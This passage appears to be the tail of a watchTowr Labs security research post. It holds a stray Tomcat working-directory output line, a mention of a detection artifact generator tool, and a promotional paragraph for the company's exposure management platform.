Current Working Directory: C:\Program Files\Apache Software Foundation\Tomcat 9.0
“`
### Detection Artifact Generator
That’s right. It’s time for yet another watchTowr Detection Artifact Generator tool!
The research published by watchTowr Labs is just a glimpse into what powers the watchTowr Platform – delivering automated, continuous testing against real attacker behaviour.
By combining Proactive Threat Intelligence and External Attack Surface Management into a single **Preemptive Exposure Management** capability, the watchTowr Platform helps organisations rapidly react to emerging threats – and gives them what matters most: **time to respond.**
